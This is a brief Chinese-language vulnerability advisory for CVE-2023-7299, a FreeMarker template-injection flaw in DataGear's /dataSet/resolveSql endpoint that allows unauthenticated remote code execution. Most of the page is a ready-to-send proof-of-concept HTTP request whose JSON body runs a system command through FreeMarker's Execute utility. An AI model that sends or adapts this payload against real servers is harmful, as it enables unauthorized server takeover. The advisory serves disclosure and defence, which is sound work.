DataGear /dataSet/resolveSql 代码执行漏洞（CVE-2023-7299）

2026-01-23 DataGear PoC Public

Description

DataGear是一款开源免费的数据可视化分析平台。该产品在小于4.7.0版本的resolveSql接口中，由于对用户输入处理不当，存在模板注入漏洞。未经授权的远程攻击者可利用此漏洞渲染恶意的freemarker模板，从而实现任意代码执行，最终导致服务器完全失陷。

PoC

POST /dataSet/resolveSql HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 84
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.1734.67 Safari/537.36

{"sql": "<#assign value='freemarker.template.utility.Execute'?new()>${value('id')}"}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates#DataGear /dataSet/resolveSql Code Execution Vulnerability (CVE-2023-7299)

References

Related Vulnerabilities